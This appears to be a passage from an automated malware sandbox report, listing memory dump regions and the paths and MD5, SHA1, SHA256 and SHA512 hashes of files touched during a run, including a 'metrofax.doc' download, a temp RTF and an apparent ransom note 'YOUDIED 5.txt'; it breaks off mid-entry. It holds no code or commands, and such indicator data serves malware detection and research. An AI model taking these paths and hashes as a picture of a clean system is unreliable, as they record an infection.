SHA256 31858f165c475cf4fff57df96520a02eaaa363e45010f91d87f3128702c3506b
SHA512 d7f89e97384b84111b58cb938413749a84825e04ce9ce2c883ff6391cfa5268cc4db5f0e0951410d90a5b8fa17c6362e0e8b7da8ebd354836a8a84fe2c652117

memory/4288-6292-0x000001A02B450000-0x000001A02B451000-memory.dmp

memory/4288-6294-0x000001A02B450000-0x000001A02B451000-memory.dmp

memory/4288-6293-0x000001A02B450000-0x000001A02B451000-memory.dmp

memory/4288-6304-0x000001A02B450000-0x000001A02B451000-memory.dmp

memory/4288-6303-0x000001A02B450000-0x000001A02B451000-memory.dmp

memory/4288-6302-0x000001A02B450000-0x000001A02B451000-memory.dmp

memory/4288-6301-0x000001A02B450000-0x000001A02B451000-memory.dmp

memory/4288-6300-0x000001A02B450000-0x000001A02B451000-memory.dmp

memory/4288-6299-0x000001A02B450000-0x000001A02B451000-memory.dmp

memory/4288-6298-0x000001A02B450000-0x000001A02B451000-memory.dmp

C:\Users\Admin\AppData\Local\D3DSCache\e75ae0776967e3f0\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.val

MD5 5da7aad8df6342db4528ce16b4f4e467
SHA1 08917ed58cc5bfdfdf2a34de4275356affdf2d2c
SHA256 690c594920f91b28ca311b79af9888c924db3b4fd31f3eb7e480045749b65307
SHA512 043c94c4695499e7a2047a9ae670942edf21822ff1a0a4c087fa008c64aa983eb2b34ddf27add6cdef091dac2bd7e5e282cb517128f983d51bf47e3391130880

C:\Users\Admin\AppData\Local\D3DSCache\e75ae0776967e3f0\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.idx

MD5 7119cee8c52ce1ca22890ca45bebba27
SHA1 a8292fd51a05a8d6697db3dbb5a15a743019a019
SHA256 53178bac0a9f65e4f9a5c5a29dec03d0d34a048aaed4fa8625b68004725bcdeb
SHA512 197fd9a7cff0127cdbf3769bd1ec3c0f97f28782e6569f71484d0d459d313c057472b38a94f79b96ca6e5a4ca698c59ad25a929912a641e758f3561480600fcf

C:\Users\Admin\AppData\Local\D3DSCache\e75ae0776967e3f0\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.lock

MD5 f49655f856acb8884cc0ace29216f511
SHA1 cb0f1f87ec0455ec349aaa950c600475ac7b7b6b
SHA256 7852fce59c67ddf1d6b8b997eaa1adfac004a9f3a91c37295de9223674011fba
SHA512 599e93d25b174524495ed29653052b3590133096404873318f05fd68f4c9a5c9a3b30574551141fbb73d7329d6be342699a17f3ae84554bab784776dfda2d5f8

C:\Users\Admin\AppData\Local\pc_app_store\User Data\Default\Preferences

MD5 46b959478ce55c49910450311074356e
SHA1 e000555aaff32f736ec8b46a20e489c2db5f7583
SHA256 8f85149e872eca4f2044335ca3ac6f8a0e4d0a0c7628ff328c2cfb459301a0a8
SHA512 59e913f9016f8f891a22eacc898a342608a9a40eaa37f15c0ac54b8cc8c3a980eee0fb045861b57f89b31f86dbeb6025d580b73ff7e8dd74df6c48fefa97e5c7

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

MD5 76e3434fb93af9a8b92ae1916bbb4191
SHA1 f5ff864ecfb2a1715895380233a4379fa41d6c84
SHA256 ea451e52732a0d2d77c7d5177067e66ea10d19272e642a2a84fcb57689214fe2
SHA512 675f6d499cf17be4a50752cb2107fd19d591d2f3a91df430ed888ac14d8610a5fa81be6714daa661a8ecb512eb149f2eba9514ca6adc905870e8954f35df69c5

C:\Users\Admin\AppData\Local\pc_app_store\User Data\Default\Preferences

MD5 6edbfeee4875014550956c44e90e2ee6
SHA1 8d58dd5b3dca2f644f4c330a2de7eba00ea8fc44
SHA256 d5fdd52c1d31dc9de7e5da62ab3ff175024fbe67abda987cd9889d8332af3417
SHA512 97419723f2bd217407573cf7cf769a58f600af3ea3cc9901c766e9234ab7abc3c3c7d3d19defce0bab64e3809a199d8a8a12dbee33ebef0411f56f5e043d6cd4

C:\Users\Admin\Downloads\metrofax.doc

MD5 28e855032f83adbd2d8499af6d2d0e22
SHA1 6b590325e2e465d9762fa5d1877846667268558a
SHA256 b13b29772c29ccb412d6ab360ff38525836fcf0f65be637a7945a83a446dfd5e
SHA512 e401cbd41e044ff7d557f57960d50fb821244eaa97ce1218191d58e0935f6c069e6a0ff4788ed91ead279f36ba4eddfaa08dc3de01082c41dc9c2fc3c4b0ae34

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

MD5 8320435d405ecd3deeb135afc0fd08a8
SHA1 85657483886e5c53e9b71291d807d14d3693f2dc
SHA256 10f3e985b1d5763117c6079a4f0491caa8dcf2ca29fa24463f3a8df99e70c1fd
SHA512 c255910252c0348aa52785da5dd5ebd6454006a48fe7a976fb01b747b1bd29ae8a676f6eff119dcc748ca35b199980716211fff4c6a77e9e01176f1329104fd9

C:\Users\Admin\AppData\Roaming\Microsoft\Office\Recent\index.dat

MD5 74635f6e5554ebd726fdca0c002dbee2
SHA1 278e66625144f9d89050b0bedb482a68855b97d4
SHA256 483e814b8f7ff4423f67f93987147b151908e1eef88479b67d4c7c69e5444424
SHA512 bb5dfc5a78b97bd7a5bc0bfe1083b1f03b5592543abf9ce00a7a36c84fb540ddfb1c8ec8994f7e6eabc30b6de896414d171d7eb3c0735ee9708093162fd17f34

C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\898F87E5.emf

MD5 0ed5bc16545d23c325d756013579a697
SHA1 dcdde3196414a743177131d7d906cb67315d88e7
SHA256 3e430584cd9774ea3b21d8e19b485b48212fe356776158dd5f3c5f63a5bde7d3
SHA512 c93072d11058fa50e3b09ff4da9f3dbe2637c2b5df05e616bd8ddd04557ea1e8b0db106b1545fad334619118c467776f81cf97ca52d3f2fcbbe007f30032b8af

C:\Users\Admin\AppData\Local\Temp\vbhja.rtf

MD5 b7b3f607bfd14c8bfeaceab43eb92deb
SHA1 c509c655ddbd3337da2aa1e745f13ba471df8d43
SHA256 144f9daf91a423006f15bb1643622345fde30d5bec760b3adde9141d1216f457
SHA512 00b93341e14aa1dec8819bd7c199f381eef427d8f6821615f0cec398afec26010ffd4c6b837cdb6ee20ebccaeb85640ccdce047eda93f780a24da08daa417939

C:\Users\Admin\AppData\Local\pc_app_store\User Data\Default\Preferences

MD5 c6b98ba94608850a1cd13fdd22cd74f3
SHA1 558a9b3675362ed9f31c06c84325013f14afeb55
SHA256 3f5035cfa2093e85027763272d1cd18c0724a050c27bd31acd126d5acf4a6c93
SHA512 bcd341afc7b461dc1e445beda21531b19631c57a97d5cbc06e25648d29832238619771e8a6d70be718d5cebdc23e4246e4919ee6262f55d2bda5fab702116cb7

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

MD5 8de225e3e993f87742e2e53b9d736790
SHA1 ffadbe6d30492868b7dae5d71b69b2b9fa8d2568
SHA256 eaf8eefc92310d2de103fe114c1be19f7de851cb95b3e60fa0d41fd6ca142df0
SHA512 0925320fc8d3d33a83f2e0b5866510bb43f83943bea4cccf1a955b33695776290dab3b41443681ce720dba9c69b47e35916bff18282d62f79b68bda8a25cadcb

C:\Users\Admin\AppData\Local\pc_app_store\User Data\Default\Preferences

MD5 3601e40be1bce5f39c7f8134e7db47b1
SHA1 d2db78e79aac7f08f94942fda35189857acaaebd
SHA256 1a7111dde6fa8ac5216365c09561ae1b48e78d9810f1f06881c684b62fdeaaf4
SHA512 aac4f934a10298325f6dfe766065c66c75e372ce363eb73a0f6510c593caaf07de685ec135ff667b39f7186b4bdd5f83d315f8669cb2fabc2e26db02dbb3b991

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\ccba5a5986c77e43.customDestinations-ms

MD5 b3472d14d1c866eb673a2cdf978ba1d4
SHA1 77ade34013c6d5b349fb6dfa13896f9814219c37
SHA256 7040ea4121710dee71ff25c9bc437ea908bd1bef7f5cfb4df1d25d1d442e2060
SHA512 7708dfd5d122dcbeba7696cbd5a413924cabd6dc1347fa3742a6c05df31f562fd87c508244ccceeb2f16818f50af95b1a7cfb80c0499b5967bd6f25b4f6482b4

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_00018e

MD5 35ccd3fd8ba8b884b9af4654d8a5dd16
SHA1 237c13c60c51bbc8ffe8835a5ef382a7dae53e71
SHA256 862c4973b2a1c55c8fa4518d768fa68f4541650df0b5692dad07ca1c94421040
SHA512 c63a1f93e29a8b637db25e4a370594e7bbb8e7a40d75523a5910c9d1e7804d99b87d899e583cdc5a556eaaebe437204daaaf072b9c735f612568598e501c8991

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\fd25918e0ef5054a_0

MD5 13314b6f0d4b5d5e941791ed8c7d6d7a
SHA1 2213af5815ea52e0e5f93105428be40d3b5dddaa
SHA256 9f5c4dabca76e487f1b229ed75ce675bf7807e2df6d74eadfbd41a2e35fd1f54
SHA512 c443f53eff5b8aee6ecb2ec4fe193a35a56f3b3af9cbe1a882b0e121678562cdc755dc39f326a0cf483c2bb951e553110f125ded0ed74e663d55313283addb82

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

MD5 36c57d6f3988851405a9413f0c2e7c28
SHA1 89b874d6cb0c8240c64821636b2c380efe6f1a97
SHA256 874cdfc51fb1fa747cae824b43ca8d08e7834bd860c8bd97d670619e7361501d
SHA512 c908cb8defd1cd58e68253dcdeeb6a69635b62f45382fd4ab070a68f7f05da5e3252b2fff032aec83438dc8fedd510b75691b4350346127f7a3c82a233ff4fbf

C:\Users\Admin\AppData\Local\pc_app_store\User Data\Default\Preferences

MD5 8d1d27032e518b39282dbe971daf6090
SHA1 ac08547bb51f32da09a2e3c20c568cf7494af816
SHA256 22c8d556e131ff7034882050b3c34dcc4f0c1a1c3850ce70df0b3c4a11ce051d
SHA512 45036a2d91c8dc6d5d29e4fc86dcf0d9b55dcf0d75a95f132a3d79d2389adb73d95ae0e1b916d5b4d53e5325dd6769429899a7c14be1e2674103a34b440dd87d

C:\Users\Admin\AppData\Local\pc_app_store\User Data\Default\Network\Network Persistent State

MD5 b55b7508c43ababce6a403db458b4b9b
SHA1 6f3e6d0a95f478ec9acc2177f2f1a188fe83588f
SHA256 9dee926274f75d7ee74cd5af492ddb225600d37c76b1d9aaf48532a7df5864d2
SHA512 d1e540c049a326edad24b9cc4f1fd81ef1a5cd8a959ac96301988d1252ca3f3b39ee411cbe0fed5e9b4ea95ab93437b5200ce900f3711423f1e1957762b93d76

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\ccba5a5986c77e43.customDestinations-ms

MD5 1a5bead5cf16257641e630c620523080
SHA1 a1b07db314485633a8311e69c8ff6cecc193ff7e
SHA256 eda2ada56112a2b05667d833847c445bcc8d0e8865d7f3b96367ea93c7e95734
SHA512 e117e653c93803d3608790774b240b5330fa72b0d9785528cf2265e27acff470ec9c4eccf0e7e85fc00d191e7a2c545525ae97f2f7bc0da3bd6980ba4d7ccc03

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

MD5 da4a0c245b5261714f6d3e728a603666
SHA1 bad71a0c344ecc9929ea23fade3829cc024ad99c
SHA256 f07a9b4a723c67f538475da18a82200f0c22e2825b1bda96b6d34a9707146002
SHA512 8947eade9743518829b91c20c086c6d3411192e6956666d7c60c5558a5d74b4542406c50b6a8a04a6f21e42c07659cf22682d36ae182db1d50061b38f763cb9e

C:\Users\Admin\AppData\Local\pc_app_store\User Data\Default\Preferences

MD5 14e48ccaf3bea7f9e172d501d71ee467
SHA1 de91c4726f02726ebf5f7b9221dd0ab1ad7b3827
SHA256 dccf9d38b7ebda594d9d615bbb11620f9879f6112008fdecc74abd70ea926236
SHA512 289e488d98a1da3df9796f06e600609dc00c64b09c60fb4cc9f8d3dc53730b004eed6c4af043f6acf0091a9a6fa7355853e23ff6674795a6590cd3b4d386e90f

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_00004d

MD5 628ba8d31375849e0943894669cd033c
SHA1 4fa6d50a37fa2dadec892474d3e713ef9de2d8a1
SHA256 80e3440c312f921afe33a7d4a3d11d1d2dc7162f8f50b748b796f424441d10d6
SHA512 d4406493dc8767c479460f3039b038866549feebf392280384da08adbcad2e871720d046220cb67ebe3ab75c14e06a31df2fa7c0f2c17f91eda26ba0a709d27f

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_00004e

MD5 18afd1da750d6447a8954b3e2e0c446e
SHA1 f8c8a7cbf81af5c9de298e031dfd69c1ec836f81
SHA256 446938498d26217dd63160bcd02aa1ee15e7fa76b8f0902b459ec6db609d1cc7
SHA512 a033fcfacf5f9f74ce8a02ffb6adc4766fbfe1d25f86ee4afc54c5f3ca1ea9655d65f6c29c67e7a86ef28edca1e8b2fcaa362730e8a6bedbdd8a16b52142dfb8

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000051

MD5 4ca3c9806914acc847891bf2a3ae9b2a
SHA1 5e6d9ccf79c7a593be586dbb784f1cb8bbd24d3a
SHA256 d8474025add64e3a8b4acade8dd2b0c19b8366aaa38bbfdfaa4b6a6bf45443d0
SHA512 efbfb42aa348edab459aeb746277a8bb3fe789f28d1c1bbd23b5835bf5f88deb7d245d4824f834d47a7c310a2d68fe4e52b72ba9abf71f67353d3c45c4254350

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000054

MD5 86983f96fdd4d0e8e99cf6cb99699bbb
SHA1 731c5beb265ce52186c5862109050890f087f22e
SHA256 48718f1307a42db02450d31a0723bc32351cac42a0a0a51a79666620c7683594
SHA512 c315d53ab4390fda1a1ad8611f0be3821793cde590d16620f2f371a0428d653f54e6a432170809ee7bd370905f0a1a5730c8dd134f91552c632fc24f56433219

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_00004c

MD5 669b1563b95fce26d9ddc3c7e9bdc538
SHA1 275e4ae2606a0da908003b77ea06b24ea8b66214
SHA256 d46765072d87d9892a0f6f8f9849eafe0abecee9d662e99f8b45d8c5b22ac667
SHA512 09e066f5a1974927b2cb607a8b953f2732928c7347f65cdfcdb573170840562de6eae091a61108827b3ae0799c16bfbd41d858ee1a8bc57d9bb1fac814438302

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_00004b

MD5 f31a1ab9f483d9db21349522e39dd16e
SHA1 01a275d7fc1c4f578fa506c8e0bf9b7787dd4806
SHA256 463800c9ec072ae72a4f6fdc1f2f779c792cb7ceb6f57c7d1231eabefad2bd9d
SHA512 cab9bf13c36b854bef939e1d09c8d896caf1d7c20f6948f70f27eaf2869e49c8b9be728b4c95926ba869a987516a79d3193d416b0582b7570a58269c8caa7603

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000052

MD5 4bc7fdb1eed64d29f27a427feea007b5
SHA1 62b5f0e1731484517796e3d512c5529d0af2666b
SHA256 05282cd78e71a5d9d14cc9676e20900a1d802016b721a48febec7b64e63775f6
SHA512 9900aecac98f2ca3d642a153dd5a53131b23ceec71dd9d3c59e83db24796a0db854f49629449a5c9fe4b7ca3afcdd294086f6b1ba724955551b622bc50e3ba1e

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000050

MD5 f817e737bd803df8a4f12c1937ab0d51
SHA1 24e172cdf9d4b77b0cb4c271aed4a7c9eba98fc9
SHA256 17b0202476b336c41e4108aa245ac863c3e19ef8c5e430fe112a0900f0a18802
SHA512 d417d62e0fdcdfa883d4ffb317546e7ac5258aac538cbfad4eb111b134839750a65c55b5230507ff6912ffd272c0eb6317bcdd95c38cfb81c63b8e85b1359346

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000053

MD5 5bc90eaf1c40d6b4fb53511e2dcb0112
SHA1 df4d1b98afd9bbce5fdc44ef8b9cfaf365f76643
SHA256 61302d8f11f11e88123be6cdb188e1d148c3e363ef3cdcab22b421dd613c6d73
SHA512 24826214035b0ff7426bfbb09fb4a6001385e8b7506c03d89b072e3f6fa945a596863bdc2033793538ac44ffaee8e99e2ea1c490b222534cd84745fe2696fdd6

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000055

MD5 0e52c094a93d5bcd8875cce575d7da9a
SHA1 de9ecbf399f77a497c96c1a4b3509153ad9751a2
SHA256 abafb66ae53e45e075a02ab40e19bc2dbb0126d83f4da5f1fbd3bed1a4b4fdce
SHA512 b2cbb5075eb1cf84b9b24c2a2f3165675496d506d5e98a8868c18514c5740c366b5a29a925dcf6f6cacdb8ce6e39eb8673b15ebb55c5e9078e0d7eff631905cb

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

MD5 59f9ce50659279b55a3cf0a2af5723b9
SHA1 103e570ab1ee5f397a7008017ed23834214341c7
SHA256 fecb9ad7df20abec76827071060e13af6b15cd4b6115d7ff16e09c196c620f4a
SHA512 5f4c656819718dbbe8ffd8ee25387e0cfcdfeb28b2c8645a4a7338a5397367fee5b78eb5c52bce2e7d2921a73d9b1f4f4a3d3396dbf0f30fcba14160998a0fc4

C:\Users\Admin\AppData\Local\pc_app_store\User Data\Default\Preferences

MD5 17f6cbf20bc675fce623d90fdc540819
SHA1 5943f1fe7378fb0c0f4ff1f452c6079d0bf32440
SHA256 17f1d7d4eadd9a2270e0bc451d54891e920e0893dc857774e7a07d28b0ad7285
SHA512 4a0ccb47538cba4cf1e3b52c94c26f134af48ac3fc1a91bc1a4d7f571d86e54134ebabef669d8ec21443548fb0248d8a10038c8eceaf0548891284f6f8e8b926

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\ec0f84f95215d943_0

MD5 c7b8e6db23365f8974de4fbe767b1b2f
SHA1 52ce489dd8412f24237bfce209751bee23d62463
SHA256 772a49b1b63509eee5708782bd208db48b46b9ca36899cb12919386be7db9c26
SHA512 da2cda5dc0c216cb237771136ea226a8935340483d18b83ef81b60754e3b986ae1c801995d893a3acef9061ef757768cd4720e3e4d0be8f4daa3df5b2a192897

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000057

MD5 5c7ca5f69170c3af85aaedaad13d29f3
SHA1 f508ae82d28596ccb0c032024b4ecb0f47f77422
SHA256 9e32c92c0dbbca6ab7b65713c17f92324d020b84cc3a93b9213411f2d4ae821c
SHA512 e93b64594677e275a35ccb655f2474332222b533a5f9e6c15945fd1821c52eeb365cb8bc7811786ed1cff1dea29dfe1c85ff666545c619fbdf53c2b57fea5dd3

C:\Users\Admin\AppData\Local\pc_app_store\User Data\Default\Network\TransportSecurity

MD5 4903328904dfab85c9b20d39fe41c208
SHA1 dd2b52c5c53be14291f6b15321cb3552c23b763d
SHA256 f3ce7188f5fd825afbda4e3d3659285698daabb1960914e9af731c54688470db
SHA512 cca2345ad8b5a5c693ea27d75e97f30321e36cf2c611545687162044b87b227e9b7c3b1037aae9304f297c9724968b2d9db77cd62aa0eb46afc6e7fd4e1c5ba6

C:\Users\Admin\AppData\Local\pc_app_store\User Data\Default\Preferences

MD5 214f2bf8d5408f2b37a76e27ea91b4c7
SHA1 6699292a74cfada88ae481b67659ba9a32112d25
SHA256 19ad882a1e28926d5ea88a58817f956c8bea2e8f18465e33a2e07ad4a94cdcf5
SHA512 584ac913367c66e3f79ef9f191ca98416acc9b6d0be05d335759111bdd225ff4012d5804fc2d4d91aef0bfa06eae7c2b9c169d0941c060d5ab92adefd5efea53

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

MD5 fe69bc752e67507f2baef0b8504bc99f
SHA1 bfbf4e87024f90c4dfc9a25e8b99b97cdeac8d8b
SHA256 8ea489b3ad90261fa796b940156b877ec26c64207a34ce5e6ec9b92c47be8dfa
SHA512 58008a7692da648444d500fd0c442983a192da09a33152477f45a4802021494bb69537264ce48d2de0209355aa3f9a6d76544a0c9fca82d91a6c56730666ff37

C:\Users\Admin\Downloads\Unconfirmed 681884.crdownload

MD5 8f5a2b3154aba26acf5440fd3034326c
SHA1 b4d508ee783dc1f1a2cf9147cc1e5729470e773b
SHA256 fc7e799742a1c64361a8a9c3fecdf44f9db85f0bf57f4fb5712519d12ba4c5ac
SHA512 01c052c71a2f97daf76c91765e3ee6ec46ca7cb67b162c2fc668ef5ee35399622496c95568dedffbaf72524f70f6afcfe90f567fbb653a93d800664b046cd5f2

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\blob_storage\b94d515e-1f88-41a5-954f-cbe538f8460c\1

MD5 f5ab85ea7eb77f497d765e8df3c968da
SHA1 d088d8a8029d7ffb2f942a1872ff8582b74c8469
SHA256 7a0f8bbd0d34af175dc5806378b62f17567131c45b46be75535a4282718c6d8a
SHA512 82c1c9d8f0e39904671274bcd9fb14e15477649cef6a1aba623669d83b84ea454009d997444802aafa1a732bc6d3dba2b6cd0f82c70547c3bdd733421030c216

C:\Users\Admin\AppData\Local\pc_app_store\User Data\Default\Preferences

MD5 0d1db3a03e3bf132d7912407162c12e6
SHA1 b87c1ba8392f7f82d68bdf0c8af9afa9de3f14d7
SHA256 ddd73952e02acf2ea5426af853ab7a133a51603e09e41a1db191a597d05de078
SHA512 f1ae05d7ba73f08de65c7c0f0d592e78b9b605e25a5fbcc68546c4782a804f00113360bee9d5e7dc00a103cad951de9703fd681c77735f51875abd14f59a11df

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

MD5 9cea81b9472423503b575ab4ccb9ed9a
SHA1 626f1678ee90e5c7bafa1972792ef6d042b6178e
SHA256 c2561a943054e4c99834a50b7196e5707a78ae3d5de160006b3268c6ace2de47
SHA512 a7f002b90cb00ef86f9f90b2a1ea170bc65553a0a8862708277ac06489cf497c9c8ba579bb0bcab22ff74f63ee16a77c20c877a7fb50c40d4123f5e707ad958a

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

MD5 25c9dde786b8f53b68c4fb32c7ac8b30
SHA1 c63813d6e01684eef09fc757d6a23b892d31ca78
SHA256 5030663afc58a39686ecab394a4f41b4ccd28bd15e6477353f85d5e477c96ada
SHA512 69857110fa5e8e494e8f3fb9fc297103d56ea72c15ee823e430c004a8daebf039032821de0e2f629f74e3ff88999df73bd4b00c881daabd90b5f7f339e6f525b

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

MD5 fbd9a519926f9edb9259684c5c5174d8
SHA1 235705063150262e8e451b4112f4e46bd4d22053
SHA256 8fd8b18084e4729b78bdd78e5ce98df5d89acf3dee4459c814d24136f3c7c021
SHA512 f046db26ee23c81922bb2894df9c33e5f091146c3f201c6150855a6856013befbd485245a7632631b04087893dc5b533ea949cc9eb47081b84f69fe47b0c639d

C:\Users\Admin\AppData\Local\pc_app_store\User Data\Default\Preferences

MD5 e5279fcac047c78a204081227ffa091e
SHA1 ce4b52100de7c6b9a9ea95821122c3c29bf8220d
SHA256 b6df7793ed5f07e57e2820a322885f89083d8b336b1b5fd696fdf7d9b0b21530
SHA512 8c53b9f48121ae48617b57d99b3c19cc6cdbc295121fa6e0c54c25ece9e1de4e8e74193a608685e9d221a29cc9fc42b4bc7bb54df17fec44d0c3212158eb8df8

C:\Users\Admin\AppData\Local\pc_app_store\User Data\Default\Preferences

MD5 054e9bcf6f4b9fd448f10aa90e4f54dd
SHA1 9c34088dd068162bb3f68fb98ee09425ae43ff0e
SHA256 4d3d687530656bd1cbba646bac2b23b482cee9e564339c08e52217103f8d278f
SHA512 7519c0e4f45e15037a77ee24f16b46db014a6213ba04e25ceaa7a6aa1d630c2e4a5c629a9eb6fd64ba4e183daf04df089c07927cd15aa59680f30f7255fb2bb9

C:\Users\Admin\Desktop\YOUDIED 5.txt

MD5 05d30a59150a996af1258cdc6f388684
SHA1 c773b24888976c889284365dd0b584f003141f38
SHA256 c5e98b515636d1d7b2cd13326b70968b322469dbbe8c76fc7a84e236c1b579c9
SHA512 2144cd74536bc663d6031d7c718db64fd246346750304a8ceef5b58cd135d6ea061c43c9150334ee292c7367ff4991b118080152b8ebc9c5630b6c5186872a3a

C:\Users\Admin\AppData\Local\pc_app_store\User Data\Default\Network\Network Persistent State

MD5 0cb2fddf7ca295840f7c810c2de09753
SHA1 b609329a9ae42f9f7ea8f2468070b25bcc79c127
SHA256 35928119725e733401ac206bf661d0745c64c4ee4f3ccefb343540e30f7b6328
SHA512 06c52bfe6eb63771bebec4e79ab1bf10cab639b7bfc163a59ab06f154760379d5039b427c1464c8537f6a935eadc2183fae25ec7b349cc80634de42b1311b41c

C:\Users\Admin\AppData\Local\pc_app_store\User Data\Default\Preferences

MD5 a975f4587e6457082acc8e7a25b16d13
SHA1 414fd4e5d5f897457b4f95443d07f4d25e0b7c10
SHA256 2d121846e482cde67ad3c076a65cfd7bf928912aa06f310278c60c2225f8ea4f
SHA512 1236866ecc182a52c4509a534d7aee4a8d405a5c3e5b900bbba9d47e5903bef4b530b26b2a2577b9adcd36faa459ee61c1851f78a1edd12d0c611218dd9a6f84

memory/5648-7747-0x0000000000280000-0x0000000000782000-memory.dmp

memory/5648-7748-0x0000000005760000-0x0000000005D06000-memory.dmp

memory/5648-7749-0x0000000005250000-0x00000000052E2000-memory.dmp

memory/5648-7750-0x00000000053E0000-0x00000000053EA000-memory.dmp

C:\Users\Admin\AppData\Local\pc_app_store\User Data\Default\Preferences

MD5 622bbd0da82901d237dfaf85345f33db
SHA1 50e437c00bfb4025bf9de261be3f7ab642818fc1
SHA256 464a270afe43219592d23674940194ae7f90a014f4fad026f478f0493921c021
SHA512 402da5c64f45dfb98b65447140ce7788d37198b06b9b27aa755004820601cd4a9a5e8056fb13afeea94a1ee875271ca67980c42a59df2e2a505acfca6faed5b1

C:\Users\Admin\AppData\Local\pc_app_store\User Data\Default\Preferences

MD5 c19d607d7fb22eb35067d0a73bbc649e
SHA1 b24a915dcba1de320b9365b80e17026f8732be4d
SHA256 2cd1f5848db3c4c78d9227de3c602e25c7d4699e4e30fe6df89f2f9fb5e59597
SHA512 d1dd53fa5fed35e736c715718729c0059b9ccfe0eaddfa7d710c27a13801ea05371a7d99800b4b2161e209220593475b6275da87696ff3d675f00271eecad284

C:\Users\Admin\AppData\Local\pc_app_store\User Data\Default\Preferences

MD5 2cab1df79cfb02ef49eb66ddc2ec94bd
SHA1 059707f299303130f0036d89c05297f465e55346
SHA256 0aff0d76869711e40cb8b0aa323e7c7b12d651962a56538fdf73651984640766
SHA512 55c2ef45652330f8e5a109834282c82f0f1dfd5bedd10ba78928561077883eaf43c3be9511b07508b5fee4f5b49b540cdad7a1134b122bb25aa49d6c95c27350

C:\Users\Admin\AppData\Local\pc_app_store\User Data\Default\Preferences

MD5 8eb4b3b2114eba808aa9b13865305a13
SHA1 d7dc7f3673bde0db70748006bc9680004ad81c31
SHA256 e7ce17bf3eeb2c5502aa0b4286d899f16f00b6baf42ad62b5723386eaccd34d4
SHA512 b84229eac8f77801bb6fda0f75d57c9c8e2848e4d948bc37502db6bbceb64220a3778adeb6be083f616e8bf0d8b4b9e28bccd836fceb4b62d05fc3f7c2f4aa05

C:\Users\Admin\AppData\Local\pc_app_store\User Data\Default\Preferences

MD5 05a74a2aa2007ba7ed0a993d0423948b
SHA1 3d4c6447c9f5a7200b348e0ea7bb8ec271aa9c1f
SHA256 38916e5115ae1693c8b0c7ed9d80227db3eeef46a9712874489768b281506061
SHA512 233a4c8b1a8d9b930051d70942f3c168ad9f06a6044443d1eca2652fa9d701aadf3cb1b364770f064df0819806217620000b768e801f8c5d76e2af51a45ab8fe

C:\Users\Admin\AppData\Local\pc_app_store\User Data\Default\Preferences

MD5 6f3b5a231176a8916726ebb6cccc0db2
SHA1 9b1687c0973dcd452577976dfac6a48874026008
SHA256 ae55fe9e67827f94562483ace0799e2cc72e4810feda591d2425be39f950072a
SHA512 2c040c9479e9c26e19d03ce7f8e2fe5b0d40e9e061e0f9de72c891726079c7c6919ac206710e1e9b84712cbe76d74af51936a2228929f75336458ad4895b6e49

C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\8S54EFAG\p[1].gif

MD5 d89746888da2d9510b64a9f031eaecd5
SHA1 d5fceb6532643d0d84ffe09c40c481ecdf59e15a
SHA256 ef1955ae757c8b966c83248350331bd3a30f658ced11f387f8ebf05ab3368629
SHA512 d5da26b5d496edb0221df1a4057a8b0285d15592a8f8dc7016a294df37ed335f3fde6a2252962e0df38b62847f8b771463a0124ef3f84299f262ed9d9d3cee4c

C:\Users\Admin\AppData\Local\pc_app_store\User Data\Default\Preferences

MD5 1936b5695981b3c7767286888e2de506
SHA1 d8feb0bc3b9f9955bed0f6e23c0c37bd96f0cf01
SHA256 4ce70fdb49cd01035043a8e52039c56a07b8a9fa92724d714119da7c317a1301
SHA512 868054a258e9b7d919cb20fc9370c771ce974aa141a829cc2b1882da76df00f3c8e69c8e875964b7dc0833e702b9e25c041f1632f77096a80a2b48e8ec0e6371

C:\Users\Admin\AppData\Local\pc_app_store\User Data\Default\Preferences

MD5 f3a32dec47799222f83de0d96ede4c4b
SHA1 b58d191597ed37a7c8bf4c0b7acc31ef0c486721
SHA256 699f3f299bc83dbf1e1aa2f78dc69af9a0d8736e0458b1036193bb71c5a6b5b2
SHA512 8ef8710d2466b76c691d646bbf86d1e990b23470e2c479916279e18724726455a8980026162a1ae556814179facfa5ce97bdb16a7f310b8a36662dc40c58e234

C:\Users\Admin\AppData\Local\pc_app_store\User Data\Default\Preferences

MD5 84fbb942bdcead4bbc5a8c80c04ee0f3
SHA1 eb36a78c3fd2005fa699220e6c87ae33780b63c7
